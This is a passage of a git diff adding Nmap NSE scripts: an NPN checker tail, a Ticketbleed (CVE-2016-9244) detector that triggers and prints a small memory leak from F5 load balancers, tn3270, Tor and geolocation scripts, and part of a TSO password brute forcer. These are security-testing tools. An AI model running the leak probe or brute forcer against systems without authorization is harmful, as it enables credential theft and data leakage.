+ sock:set_timeout(5000)
+
+ -- Send Client Hello to the target server
+ status, err = sock:send(cli_h)
+ if not status then
+ stdnse.debug1("Couldn't send: %s", err)
+ sock:close()
+ return false
+ end
+
+ -- Read response
+ status, response, err = tls.record_buffer(sock)
+ if not status then
+ stdnse.debug1("Couldn't receive: %s", err)
+ sock:close()
+ return false
+ end
+
+ return true, response
+end
+
+--- Function that checks for the returned protocols to a npn extension request.
+--@args response Response to parse.
+--@return results List of found protocols.
+local check_npn = function(response)
+ local i, record = tls.record_read(response, 1)
+ if record == nil then
+ stdnse.debug1("Unknown response from server")
+ return nil
+ end
+
+ if record.type == "handshake" and record.body[1].type == "server_hello" then
+ if record.body[1].extensions == nil then
+ stdnse.debug1("Server does not support TLS NPN extension.")
+ return nil
+ end
+ local results = {}
+ local npndata = record.body[1].extensions["next_protocol_negotiation"]
+ if npndata == nil then
+ stdnse.debug1("Server does not support TLS NPN extension.")
+ return nil
+ end
+ -- Parse data
+ i = 1
+ local protocol
+ while i <= #npndata do
+ protocol, i = string.unpack(">s1", npndata, i)
+ table.insert(results, protocol)
+ end
+
+ if next(results) then
+ return results
+ else
+ stdnse.debug1("Server supports TLS NPN extension, but no protocols were offered.")
+ return "<empty>"
+ end
+ else
+ stdnse.debug1("Server response was not server_hello")
+ return nil
+ end
+end
+
+action = function(host, port)
+ local status, response
+
+ -- Send crafted client hello
+ status, response = client_hello(host, port)
+ if status and response then
+ -- Analyze response
+ local results = check_npn(response)
+ return results
+ end
+end
diff --git a/scripts/tls-ticketbleed.nse b/scripts/tls-ticketbleed.nse
new file mode 100644
index 0000000..7bbc605
--- /dev/null
+++ b/scripts/tls-ticketbleed.nse
@@ -0,0 +1,360 @@
+local nmap = require("nmap")
+local packet = require "packet"
+local shortport = require("shortport")
+local sslcert = require("sslcert")
+local stdnse = require("stdnse")
+local table = require("table")
+local tableaux = require "tableaux"
+local tls = require "tls"
+local vulns = require("vulns")
+local rand = require "rand"
+
+description = [[
+Detects whether a server is vulnerable to the F5 Ticketbleed bug (CVE-2016-9244).
+
+For additional information:
+* https://filippo.io/Ticketbleed/
+* https://blog.filippo.io/finding-ticketbleed/
+* https://support.f5.com/csp/article/K05121675
+]]
+
+---
+-- @usage
+-- nmap -p 443 --script tls-ticketbleed <target>
+--
+-- @output
+-- | tls-ticketbleed:
+-- | VULNERABLE:
+-- | Ticketbleed is a serious issue in products manufactured by F5, a popular
+-- vendor of TLS load-balancers. The issue allows for stealing information from
+-- the load balancer
+-- | State: VULNERABLE (Exploitable)
+-- | Risk factor: High
+-- | Ticketbleed is vulnerability in the implementation of the TLS
+-- SessionTicket extension found in some F5 products. It allows the leakage
+-- ("bleeding") of up to 31 bytes of data from uninitialized memory. This is
+-- caused by the TLS stack padding a Session ID, passed from the client, with
+-- data to make it 32-bits long.
+-- | Exploit results:
+-- | 2ab2ea6a4c167fbe8bf0b36c7d9ed6d3
+-- | *..jL......l}...
+-- | References:
+-- | https://filippo.io/Ticketbleed/
+-- | https://blog.filippo.io/finding-ticketbleed/
+-- |_ https://support.f5.com/csp/article/K05121675
+--
+-- @args tls-ticketbleed.protocols (default tries all) TLSv1.0, TLSv1.1, or TLSv1.2
+
+author = "Mak Kolybabi <mak@kolybabi.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "safe"}
+dependencies = {"https-redirect"}
+
+portrule = function(host, port)
+ if not tls.handshake_parse.NewSessionTicket then
+ stdnse.verbose1("Not running: incompatible tls.lua. Get the latest from https://nmap.org/nsedoc/lib/tls.html")
+ return false
+ end
+ -- Ensure we have the privileges necessary to run the PCAP operations this
+ -- script depends upon.
+ if not nmap.is_privileged() then
+ nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
+ if not nmap.registry[SCRIPT_NAME].rootfail then
+ stdnse.verbose1("Not running due to lack of privileges.")
+ end
+
+ nmap.registry[SCRIPT_NAME].rootfail = true
+
+ return false
+ end
+
+ return shortport.ssl(host, port) or sslcert.getPrepareTLSWithoutReconnect(port)
+end
+
+local function is_vuln(host, port, version)
+ -- Checking a host requires a valid TLS Session Ticket. The Nmap API
+ -- does not expose that information to us, but it is sent
+ -- unencrypted near the end of the TLS handshake.
+ --
+ -- First we must create a socket that is ready to start a TLS
+ -- connection, so that we may find the local port from which it is
+ -- sending, and can use that information to filter the PCAP.
+ --
+ -- We should have a way to specify version here, but we don't.
+ local socket
+ local starttls = sslcert.getPrepareTLSWithoutReconnect(port)
+ if starttls then
+ local status
+ status, socket = starttls(host, port)
+ if not status then
+ stdnse.debug3("StartTLS connection to server failed: %s", socket)
+ return
+ end
+ else
+ socket = nmap.new_socket()
+ local status, err = socket:connect(host, port, "tcp")
+ if not status then
+ stdnse.debug3("Connection to server failed: %s", err)
+ return
+ end
+ end
+
+ socket:set_timeout(5000)
+
+ -- Find out the port we'll be using in our TLS negotiation.
+ local status, _, lport = socket:get_info()
+ if( not(status) ) then
+ stdnse.debug3("Failed to retrieve local port used by socket.")
+ return
+ end
+
+ -- We are only interested in capturing the TLS responses from the
+ -- server, not our traffic. We need to set the snaplen to be fairly
+ -- large to accommodate packets with many or large certificates.
+ local filter = ("src host %s and tcp and src port %d and dst port %d"):format(host.ip, port.number, lport)
+ local pcap = nmap.new_socket()
+ pcap:set_timeout(5)
+ pcap:pcap_open(host.interface, 4096, false, filter)
+
+ -- Initiate the TLS negotiation on the already-connected socket, and
+ -- then immediately close the socket.
+ local status, err = socket:reconnect_ssl()
+ if not status then
+ stdnse.debug1("Can't connect with TLS: %s", err)
+ return
+ end
+ socket:close()
+
+ -- Repeatedly read previously-captured packets and add them to a
+ -- buffer.
+ local buf = {}
+ while true do
+ local status, _, _, layer3, _ = pcap:pcap_receive()
+ if not status then
+ break
+ end
+
+ -- Parse captured packet and extract data.
+ local pkt = packet.Packet:new(layer3, #layer3)
+ if not pkt then
+ stdnse.debug3("Failed to create packet from captured data.")
+ return
+ end
+
+ if not pkt:tcp_parse() then
+ stdnse.debug3("Failed to parse captured packet.")
+ return
+ end
+
+ local tls_data = pkt:raw(pkt.tcp_data_offset)
+ table.insert(buf, tls_data)
+ end
+
+ buf = table.concat(buf, "")
+
+ pcap:pcap_close()
+ pcap:close()
+
+ -- Attempt to find the NewSessionTicket record in the captured
+ -- packets.
+ local pos, ticket
+ repeat
+ -- Attempt to parse the buffer.
+ local record
+ pos, record = tls.record_read(buf, pos)
+ if not record then
+ break
+ end
+ if record.type ~= "handshake" then
+ break
+ end
+
+ -- Search for the NewSessionTicket record, which contains the
+ -- Session Ticket we need.
+ for _, body in ipairs(record.body) do
+ stdnse.debug1("Captured %s record.", body.type)
+ if body.type == "NewSessionTicket" then
+ if body.ticket then
+ ticket = body.ticket
+ else
+ -- If someone downloaded this script separately from Nmap,
+ -- they are likely to be missing the parsing changes to the
+ -- TLS library. Try parsing the body inline.
+ if #body.data <= 4 then
+ stdnse.debug1("NewSessionTicket's body was too short to parse: %d bytes", #body.data)
+ return
+ end
+
+ _, ticket = (">I4 s2"):unpack(body.data)
+ end
+ break
+ end
+ end
+ until ticket or pos > #buf
+
+ if not ticket then
+ stdnse.debug1("Server did not send a NewSessionTicket record.")
+ return
+ end
+
+ -- Create the ClientHello record that triggers the behaviour in
+ -- affected systems. The record must include both a Session ID and a
+ -- TLS Session Ticket extension.
+ --
+ -- Setting the Session ID to a 16 bytes allows for the remaining 16
+ -- bytes of the field to be filled with uninitialized memory when it
+ -- is echoed back in the ServerHelloDone record. Using 16 bytes
+ -- reduces the chance of a false positive caused by the server
+ -- issuing us a new, valid session ID that just happens to match the
+ -- random one we provided.
+ local sid_old = rand.random_string(16)
+
+ local hello = tls.client_hello({
+ ["protocol"] = version,
+ ["session_id"] = sid_old,
+ -- Claim to support every cipher
+ -- Doesn't work with IIS, but only F5 products should be affected
+ ["ciphers"] = tableaux.keys(tls.CIPHERS),
+ ["compressors"] = {"NULL"},
+ ["extensions"] = {
+ -- Claim to support common elliptic curves
+ ["elliptic_curves"] = tls.EXTENSION_HELPERS["elliptic_curves"](tls.DEFAULT_ELLIPTIC_CURVES),
+ ["SessionTicket TLS"] = ticket,
+ },
+ })
+
+ -- Connect the socket so that it is ready to start a TLS session.
+ if starttls then
+ local status
+ status, socket = starttls(host, port)
+ if not status then
+ stdnse.debug3("StartTLS connection to server failed: %s", socket)
+ return
+ end
+ else
+ socket = nmap.new_socket()
+ local status, err = socket:connect(host, port, "tcp")
+ if not status then
+ stdnse.debug3("Connection to server failed: %s", err)
+ return
+ end
+ end
+
+ -- Send Client Hello to the target server.
+ local status, err = socket:send(hello)
+ if not status then
+ stdnse.debug1("Couldn't send Client Hello: %s", err)
+ socket:close()
+ return
+ end
+
+ -- Read responses from server.
+ local status, response, err = tls.record_buffer(socket)
+ socket:close()
+ if err == "TIMEOUT" then
+ stdnse.debug1("Timeout exceeded waiting for Server Hello Done.")
+ return
+ end
+ if not status then
+ stdnse.debug1("Couldn't receive: %s", err)
+ socket:close()
+ return
+ end
+
+ -- Attempt to parse the response.
+ local _, record = tls.record_read(response)
+ if record == nil then
+ stdnse.debug1("Unrecognized response from server.")
+ return
+ end
+ if record.protocol ~= version then
+ stdnse.debug1("Server responded with a different protocol than we requested: %s", record.protocol)
+ return
+ end
+ if record.type ~= "handshake" then
+ stdnse.debug1("Server failed to respond with a handshake record: %s", record.type)
+ return
+ end
+
+ -- Search for the ServerHello record, which contains the Session ID
+ -- we want.
+ local sid_new
+ for _, body in ipairs(record.body) do
+ if body.type == "server_hello" then
+ sid_new = body.session_id
+ end
+ end
+
+ if not sid_new then
+ stdnse.debug1("Failed to receive a Server Hello record.")
+ return
+ end
+
+ if sid_new == "" then
+ stdnse.debug1("Server did not respond with a session ID.")
+ return
+ end
+
+ -- Check whether the Session ID matches what we originally sent,
+ -- which should be the case for a properly-functioning TLS stacks.
+ if sid_new == sid_old then
+ stdnse.debug1("Server properly echoed our short, random session ID.")
+ return
+ end
+
+ -- If the system is unaffected, it should provide a new session ID
+ -- unrelated to the one we provided. Check for the new session ID
+ -- being prefixed by the one we sent, indicating an affected system.
+ if sid_new:sub(1, #sid_old) ~= sid_old then
+ stdnse.debug1("Server responded with a new, unrelated session ID.")
+ stdnse.debug1("Original session ID: %s", stdnse.tohex(sid_old, {separator = ":"}))
+ stdnse.debug1("Received session ID: %s", stdnse.tohex(sid_new, {separator = ":"}))
+ return
+ end
+
+ return sid_new
+end
+
+action = function(host, port)
+ local vuln_table = {
+ title = "Ticketbleed is a serious issue in products manufactured by F5, a popular vendor of TLS load-balancers. The issue allows for stealing information from the load balancer",
+ state = vulns.STATE.NOT_VULN,
+ risk_factor = "High",
+ description = [[
+Ticketbleed is vulnerability in the implementation of the TLS SessionTicket extension found in some F5 products. It allows the leakage ("bleeding") of up to 31 bytes of data from uninitialized memory. This is caused by the TLS stack padding a Session ID, passed from the client, with data to make it 32-bits long.
+ ]],
+
+ references = {
+ "https://filippo.io/Ticketbleed/",
+ "https://blog.filippo.io/finding-ticketbleed/",
+ "https://support.f5.com/csp/article/K05121675"
+ }
+ }
+
+ -- Accept user-specified protocols.
+ local vers = stdnse.get_script_args(SCRIPT_NAME .. ".protocols") or {"TLSv1.0", "TLSv1.1", "TLSv1.2"}
+ if type(vers) == "string" then
+ vers = {vers}
+ end
+
+ for _, ver in ipairs(vers) do
+ -- Ensure the protocol version is supported.
+ if nil == tls.PROTOCOLS[ver] then
+ return "\n Unsupported protocol version: " .. ver
+ end
+
+ -- Check for the presence of the vulnerability.
+ local sid = is_vuln(host, port, ver)
+ if sid then
+ vuln_table.state = vulns.STATE.EXPLOIT
+ vuln_table.exploit_results = {
+ stdnse.tohex(sid:sub(17)),
+ (sid:sub(17):gsub("[^%g ]", "."))
+ }
+ break
+ end
+ end
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ return report:make_output(vuln_table)
+end
diff --git a/scripts/tn3270-screen.nse b/scripts/tn3270-screen.nse
new file mode 100644
index 0000000..59d8319
--- /dev/null
+++ b/scripts/tn3270-screen.nse
@@ -0,0 +1,122 @@
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local tn3270 = require "tn3270"
+
+description = [[
+Connects to a tn3270 'server' and returns the screen.
+
+Hidden fields will be listed below the screen with (row, col) coordinates.
+]]
+
+---
+-- @usage
+-- nmap --script tn3270-info,tn3270_screen <host>
+--
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 23/tcp open tn3270 Telnet TN3270
+-- | tn3270-screen:
+-- | screen:
+-- | Mainframe Operating System z/OS V1.6
+-- | FFFFF AAA N N DDDD EEEEE ZZZZZ H H III
+-- | F A A NN N D D E Z H H I
+-- | FFFF AAAAA N N N D D EEEE Z HHHHH I
+-- | F A A N NN D D E Z H H I
+-- | F A A N N DDDD EEEEE ZZZZZ H H III
+-- |
+-- | ZZZZZ / OOOOO SSSS
+-- | Z / O O S
+-- | Z / O O SSS
+-- | Z / O O S
+-- | ZZZZZ / OOOOO SSSS
+-- |
+-- | Welcome to Fan DeZhi Mainframe System!
+-- |
+-- | Support: http://zos.efglobe.com
+-- | TSO - Logon to TSO/ISPF NETVIEW - Netview System
+-- | CICS - CICS System NVAS - Netview Access
+-- | IMS - IMS System AOF - Netview Automation
+-- |
+-- | Enter your choice==>
+-- | Hi! Enter one of above commands in red.
+-- |
+-- |_Your IP(10.10.10.375 :64199), SNA LU( ) 05/30/15 13:33:37
+--
+-- @args tn3270-screen.commands a semi-colon separated list of commands you want to
+-- issue before printing the screen
+-- tn3270-screen.lu specify a logical unit you with to use, fails if can't connect
+-- tn3270-screen.disable_tn3270e disables TN3270 Enhanced mode
+--
+--
+-- @changelog
+-- 2015-05-30 - v0.1 - created by Soldier of Fortran
+-- 2015-11-14 - v0.2 - added commands argument
+-- 2018-09-07 - v0.3 - added support for Logical Units
+-- 2019-02-01 - v0.4 - Added ability to disable TN3270E mode
+--
+
+author = "Philip Young aka Soldier of Fortran"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "discovery"}
+
+portrule = shortport.port_or_service({23,992}, {"tn3270"})
+
+local hidden_field_mt = {
+ __tostring = function(t)
+ return ("(%d, %d): %s"):format(t.row, t.col, t.field)
+ end,
+}
+
+action = function(host, port)
+ local commands = stdnse.get_script_args(SCRIPT_NAME .. '.commands')
+ local disable_tn3270e = stdnse.get_script_args(SCRIPT_NAME .. '.disable_tn3270e') or false
+ local lu = stdnse.get_script_args(SCRIPT_NAME .. '.lu')
+ local t = tn3270.Telnet:new()
+ if lu and not disable_tn3270e then
+ stdnse.debug("Setting LU: %s", lu)
+ t:set_lu(lu)
+ end
+
+ if disable_tn3270e then
+ t:disable_tn3270e()
+ end
+ local status, err = t:initiate(host,port)
+ if not status then
+ stdnse.debug("Could not initiate TN3270: %s", err )
+ return
+ else
+ if commands then
+ local run = stdnse.strsplit(";%s*", commands)
+ for i = 1, #run do
+ stdnse.debug(1,"Issuing Command (#%s of %s): %s", i, #run ,run[i])
+ t:send_cursor(run[i])
+ t:get_all_data()
+ t:get_screen_debug(2)
+ end
+ end
+ status = t:get_all_data()
+ local hidden
+ if t:any_hidden() then
+ hidden = {}
+ local hidden_buggers = t:hidden_fields()
+ local hidden_locs = t:hidden_fields_location()
+ for i = 1, #hidden_buggers do
+ local j = i*2 - 1
+ local field = {
+ field = hidden_buggers[i],
+ row = t:BA_TO_ROW(hidden_locs[j]),
+ col = t:BA_TO_COL(hidden_locs[j]),
+ }
+ setmetatable(field, hidden_field_mt)
+ hidden[i] = field
+ end
+ end
+ local out = stdnse.output_table()
+ out.screen = t:get_screen()
+ out["hidden fields"] = hidden
+ if not disable_tn3270e then
+ out["logical unit"]= t:get_lu()
+ end
+ return out
+ end
+end
diff --git a/scripts/tor-consensus-checker.nse b/scripts/tor-consensus-checker.nse
new file mode 100644
index 0000000..e8f5737
--- /dev/null
+++ b/scripts/tor-consensus-checker.nse
@@ -0,0 +1,135 @@
+local http = require "http"
+local ipOps = require "ipOps"
+local stdnse = require "stdnse"
+local string = require "string"
+local nmap = require "nmap"
+
+description = [[
+Checks if a target is a known Tor node.
+
+The script works by querying the Tor directory authorities. Initially,
+the script stores all IPs of Tor nodes in a lookup table to reduce the
+number of requests and make lookups quicker.
+]]
+
+---
+-- @usage
+-- nmap --script=tor-consensus-checker <host>
+--
+-- @output
+-- Host script results:
+-- | tor-consensus-checker:
+-- |_ 127.0.0.1 is a Tor node
+---
+
+author = "Jiayi Ye"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"external", "safe"}
+
+-- from Tor 0.2.9 auth_dirs.inc
+local dir_authorities = {
+ { ip = "128.31.0.39", port = 9131},
+ { ip = "86.59.21.38", port = 80 },
+ { ip = "45.66.33.45", port = 80 },
+ { ip = "66.111.2.131", port = 9030 },
+ { ip = "131.188.40.189", port = 80 },
+ { ip = "193.23.244.244", port = 80 },
+ { ip = "171.25.193.9", port = 443 },
+ { ip = "154.35.175.225", port = 80 },
+ { ip = "199.58.81.140", port = 80 },
+ { ip = "204.13.164.118", port = 80 },
+}
+
+hostrule = function(host)
+ if nmap.registry.tornode and not(nmap.registry.tornode.connect) then
+ return false
+ end
+ return not ipOps.isPrivate(host.ip)
+end
+
+function get_consensus(server)
+ local response = http.get(server.ip, server.port, "/tor/status-vote/current/consensus",
+ {
+ -- consensus files were 2.3 MiB as of February 2020
+ -- https://metrics.torproject.org/collector/recent/relay-descriptors/consensuses/
+ no_cache = true,
+ max_body_size=3*1024*1024
+ })
+
+ if not response.status then
+ stdnse.print_debug(2, "failed to connect to " .. server.ip)
+ elseif response.status ~= 200 then
+ stdnse.print_debug(2, "%s http error %s", server.ip, response.status)
+ else
+ stdnse.print_debug(2, "consensus retrieved from %s", server.ip)
+ return response.body
+ end
+
+ -- no valid server found
+ return nil
+end
+
+function script_init()
+ -- Data and flags shared between threads.
+ -- @name tornode
+ -- @class table
+ -- @field cache A table for cached tor nodes
+ -- @field connect A flag which prevents threads from looking up when failed to connnect to directory authorities
+ nmap.registry.tornode = {}
+ nmap.registry.tornode.cache = {}
+
+ local isConnected = false
+ local regexp = "r [%S]+ [%S]+ [%S]+ [%d-]+ [%d:]+ ([%d.]+) ([%d]+) [%d]*"
+ for _, server in ipairs(dir_authorities) do
+ local consensus = get_consensus(server)
+ if consensus then
+ -- parse the consensus
+ for line in string.gmatch(consensus,"[^\n]+") do
+ local _, _, ip, port = string.find(line,regexp)
+ if ip then
+ isConnected = true
+ nmap.registry.tornode.cache[ip] = true
+ end
+ end
+ end
+ if isConnected then
+ break
+ end
+ end
+ if not(isConnected) then
+ stdnse.verbose1("failed to connect to directory authorities")
+ end
+ nmap.registry.tornode.connect = isConnected
+end
+
+function check_tornode_cache(ip)
+ if not next( nmap.registry.tornode.cache ) then return false end
+ if type( ip ) ~= "string" or ip == "" then return false end
+ return nmap.registry.tornode.cache[ip]
+end
+
+action = function(host)
+ local mutex = nmap.mutex("tornode")
+ mutex "lock"
+ --initialize nmap.registry.tornode
+ if not nmap.registry.tornode then
+ script_init()
+ end
+ mutex "done"
+
+ if not(nmap.registry.tornode.connect) then
+ if nmap.verbosity() > 2 then
+ return "Couln't connect to Tor dir authorities"
+ else
+ return nil
+ end
+ end
+
+ local output_tab = stdnse.output_table()
+ if check_tornode_cache(host.ip) then
+ output_tab.tor_nodes = host.ip
+ return output_tab, host.ip .. " is a Tor node"
+ else
+ return output_tab, host.ip .. " not found in Tor consensus"
+ end
+end
diff --git a/scripts/traceroute-geolocation.nse b/scripts/traceroute-geolocation.nse
new file mode 100644
index 0000000..4224731
--- /dev/null
+++ b/scripts/traceroute-geolocation.nse
@@ -0,0 +1,187 @@
+local http = require "http"
+local io = require "io"
+local json = require "json"
+local stdnse = require "stdnse"
+local tab = require "tab"
+local table = require "table"
+local ipOps = require "ipOps"
+
+description = [[
+Lists the geographic locations of each hop in a traceroute and optionally
+saves the results to a KML file, plottable on Google earth and maps.
+]]
+
+---
+-- @usage
+-- nmap --traceroute --script traceroute-geolocation
+--
+-- @output
+-- | traceroute-geolocation:
+-- | hop RTT ADDRESS GEOLOCATION
+-- | 1 ...
+-- | 2 ...
+-- | 3 ...
+-- | 4 ...
+-- | 5 16.76 e4-0.barleymow.stk.router.colt.net (194.68.128.104) 62,15 Sweden (Unknown)
+-- | 6 48.61 te0-0-2-0-crs1.FRA.router.colt.net (212.74.65.49) 54,-2 United Kingdom (Unknown)
+-- | 7 57.16 87.241.37.146 42,12 Italy (Unknown)
+-- | 8 157.85 212.162.64.146 42,12 Italy (Unknown)
+-- | 9 ...
+-- |_ 10 ...
+-- @xmloutput
+-- <table>
+-- <elem key="hop">1</elem>
+-- </table>
+-- <table>
+-- <elem key="hop">2</elem>
+-- </table>
+-- <table>
+-- <elem key="hop">3</elem>
+-- </table>
+-- <table>
+-- <elem key="hop">4</elem>
+-- </table>
+-- <table>
+-- <elem key="hop">5</elem>
+-- <elem key="rtt">16.76</elem>
+-- <elem key="ip">194.68.128.104</elem>
+-- <elem key="hostname">e4-0.barleymow.stk.router.colt.net</elem>
+-- <elem key="lat">62</elem>
+-- <elem key="lon">15</elem>
+-- </table>
+-- <table>
+-- <elem key="hop">6</elem>
+-- <elem key="rtt">48.61</elem>
+-- <elem key="ip">212.74.65.49</elem>
+-- <elem key="hostname">te0-0-2-0-crs1.FRA.router.colt.net</elem>
+-- <elem key="lat">54</elem>
+-- <elem key="lon">-2</elem>
+-- </table>
+--
+-- @args traceroute-geolocation.kmlfile full path and name of file to write KML
+-- data to. The KML file can be used in Google earth or maps to plot the
+-- traceroute data.
+--
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "external", "discovery"}
+
+local arg_kmlfile = stdnse.get_script_args(SCRIPT_NAME .. ".kmlfile")
+
+hostrule = function(host)
+ if ( not(host.traceroute) ) then
+ return false
+ end
+ return true
+end
+
+--
+-- GeoPlugin requires no API key and has no limitations on lookups
+--
+local function geoLookup(ip, no_cache)
+ local output = stdnse.registry_get({SCRIPT_NAME, ip})
+ if output then return output end
+
+ local response = http.get("www.geoplugin.net", 80, "/json.gp?ip="..ip, {any_af=true})
+ local stat, loc = json.parse(response.body)
+
+ local get_value = function (d)
+ local t = type(d)
+ return (t == "string" or t == "number") and d or nil
+ end
+
+ if not (stat
+ and get_value(loc.geoplugin_latitude)
+ and get_value(loc.geoplugin_longitude)) then
+ return nil
+ end
+ output = {
+ lat = loc.geoplugin_latitude,
+ lon = loc.geoplugin_longitude,
+ reg = get_value(loc.geoplugin_regionName) or "Unknown",
+ ctry = get_value(loc.geoplugin_countryName) or "Unknown"
+ }
+ if not no_cache then
+ stdnse.registry_add_table({SCRIPT_NAME}, ip, output)
+ end
+ return output
+end
+
+local function createKMLFile(filename, coords)
+ local header = '<?xml version="1.0" encoding="UTF-8"?><kml xmlns="http://earth.google.com/kml/2.0"><Document><Placemark><LineString><coordinates>\r\n'
+ local footer = '</coordinates></LineString><Style><LineStyle><color>#ff0000ff</color></LineStyle></Style></Placemark></Document></kml>'
+
+ local output = {}
+ for _, coord in ipairs(coords) do
+ output[#output+1] = ("%s,%s, 0.\r\n"):format(coord.lon, coord.lat)
+ end
+
+ local f = io.open(filename, "w")
+ if ( not(f) ) then
+ return false, "Failed to create KML file"
+ end
+ f:write(header .. table.concat(output) .. footer)
+ f:close()
+
+ return true
+end
+
+-- Tables used to accumulate output.
+local output_structured = {}
+local output = tab.new(4)
+local coordinates = {}
+
+local function output_hop(count, ip, name, rtt, geo)
+ if ip then
+ local label
+ if name then
+ label = ("%s (%s)"):format(name or "", ip)
+ else
+ label = ("%s"):format(ip)
+ end
+ if geo then
+ table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt), lat = geo.lat, lon = geo.lon })
+ tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%.3f,%.3f %s (%s)"):format(geo.lat, geo.lon, geo.ctry, geo.reg))
+ table.insert(coordinates, { hop = count, lat = geo.lat, lon = geo.lon })
+ else
+ table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt) })
+ tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%s,%s"):format("- ", "- "))
+ end
+ else
+ table.insert(output_structured, { hop = count })
+ tab.addrow(output, count, "...")
+ end
+end
+
+action = function(host)
+ tab.addrow(output, "HOP", "RTT", "ADDRESS", "GEOLOCATION")
+ for count = 1, #host.traceroute do
+ local hop = host.traceroute[count]
+ -- avoid timedout hops, marked as empty entries
+ -- do not add the current scanned host.ip
+ if hop.ip then
+ local rtt = tonumber(hop.srtt) * 1000
+ local geo
+ if not ipOps.isPrivate(hop.ip) then
+ -- be sure not to cache the target address, since it's not likely to be
+ -- a hop for something else.
+ geo = geoLookup(hop.ip, ipOps.compare_ip(hop.ip, "eq", host.ip) )
+ end
+ output_hop(count, hop.ip, hop.name, rtt, geo)
+ else
+ output_hop(count)
+ end
+ end
+
+ if (#output_structured > 0) then
+ output = tab.dump(output)
+ if ( arg_kmlfile ) then
+ if ( not(createKMLFile(arg_kmlfile, coordinates)) ) then
+ output = output .. ("\n\nERROR: Failed to write KML to file: %s"):format(arg_kmlfile)
+ end
+ end
+ return output_structured, stdnse.format_output(true, output)
+ end
+end
diff --git a/scripts/tso-brute.nse b/scripts/tso-brute.nse
new file mode 100644
index 0000000..ff52c0c
--- /dev/null
+++ b/scripts/tso-brute.nse
@@ -0,0 +1,368 @@
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local tn3270 = require "tn3270"
+local brute = require "brute"
+local creds = require "creds"
+local unpwdb = require "unpwdb"
+local nmap = require "nmap"
+local string = require "string"
+local stringaux = require "stringaux"
+
+description = [[
+TSO account brute forcer.
+
+This script relies on the NSE TN3270 library which emulates a
+TN3270 screen for NMAP.
+
+TSO user IDs have the following rules:
+ - it cannot begin with a number
+ - only contains alpha-numeric characters and @, #, $.
+ - it cannot be longer than 7 chars
+]]
+
+---
+-- @usage
+-- nmap -p 2401 --script tso-brute <host>
+--
+-- @output
+-- 23/tcp open tn3270 syn-ack IBM Telnet TN3270
+-- | tso-brute:
+-- | Node Name:
+-- | IBMUSER:<skipped> - User logged on. Skipped.
+-- | ZERO:<skipped> - User logged on. Skipped.
+-- | COOL:secret - Valid credentials
+-- |_ Statistics: Performed 6 guesses in 6 seconds, average tps: 1
+-- Final times for host: srtt: 96305 rttvar: 72303 to: 385517
+--
+-- @args tso-brute.commands Commands in a semi-colon separated list needed
+-- to access TSO. Defaults to <code>TSO</code>.
+--
+-- @args tso-brute.always_logon TSO logon can kick a user off if it guesses
+-- the correct password. always_logon, when set to <code>true</code>, will logon, even if
+-- the user is logged in (kicking that user off). The default, <code>false</code> will
+-- skip that account.
+--
+-- @changelog
+-- 2015-10-29 - v0.1 - created by Soldier of Fortran
+--
+-- @author Philip Young
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+
+author = "Soldier of Fortran"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive"}
+
+portrule = shortport.port_or_service({23,992,623}, {"tn3270"})
+
+--- Registers User IDs that no longer need to be tested
+--
+-- @param username to stop checking
+local function register_invalid( username )
+ if nmap.registry.tsoinvalid == nil then
+ nmap.registry.tsoinvalid = {}
+ end
+ stdnse.debug(2,"Registering %s", username)
+ nmap.registry.tsoinvalid[username] = true
+end
+
+Driver = {
+ new = function(self, host, port, options)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.options = options
+ o.tn3270 = tn3270.Telnet:new(brute.new_socket())
+ o.tn3270:disable_tn3270e()
+ return o
+ end,
+ connect = function( self )
+ local status, err = self.tn3270:initiate(self.host,self.port)
+ self.tn3270:get_screen_debug(2)
+ if not status then
+ stdnse.debug("Could not initiate TN3270: %s", err )
+ return false
+ end
+ return true
+ end,
+ disconnect = function( self )
+ self.tn3270:disconnect()
+ self.tn3270 = nil
+ return true
+ end,
+ login = function (self, user, pass)
+
+ local commands = self.options['key1']
+ local always_logon = self.options['key2']
+ local skip = self.options['skip']
+ stdnse.debug(2,"Getting to TSO")
+ local run = stringaux.strsplit(";%s*", commands)
+ stdnse.verbose(2,"Trying User ID/Password: %s/%s", user, pass)
+ for i = 1, #run do
+ stdnse.debug(2,"Issuing Command (#%s of %s): %s", i, #run ,run[i])
+ if i == #run and run[i]:upper():find("LOGON APPLID") and skip then
+ stdnse.debug(2,"Trying User ID: %s", user)
+ self.tn3270:send_cursor(run[i] .. " DATA(" .. user .. ")")
+ elseif i == #run and skip then
+ stdnse.debug(2,"Trying User ID: %s", user)
+ self.tn3270:send_cursor(run[i] .. " " .. user)
+ else
+ self.tn3270:send_cursor(run[i])
+ end
+ self.tn3270:get_all_data()
+ end
+
+ if self.tn3270:find("%*%*%*") then -- For ACF2/TopSecret if required
+ self.tn3270:send_enter()
+ self.tn3270:get_all_data()
+ end
+
+ if not self.tn3270:find("ENTER USERID")
+ and not self.tn3270:find("TSO/E LOGON")
+ and not self.tn3270:find("IKJ56710I INVALID USERID") then
+ local err = brute.Error:new( "TSO Unavailable" )
+ -- This error occurs on too many concurrent application requests it
+ -- should be temporary. We use the new setReduce function.
+ err:setReduce(true)
+ stdnse.debug(1,"TSO Unavailable for UserID %s", pass )
+ return false, err
+ end
+
+ if not skip then
+ stdnse.debug(2,"Trying User ID: %s", user)
+ self.tn3270:send_cursor(user)
+ self.tn3270:get_all_data()
+ end
+
+
+ stdnse.debug(2,"Screen Received for User ID: %s", user)
+ self.tn3270:get_screen_debug(2)
+
+ if not self.tn3270:find('Enter LOGON parameters below') then
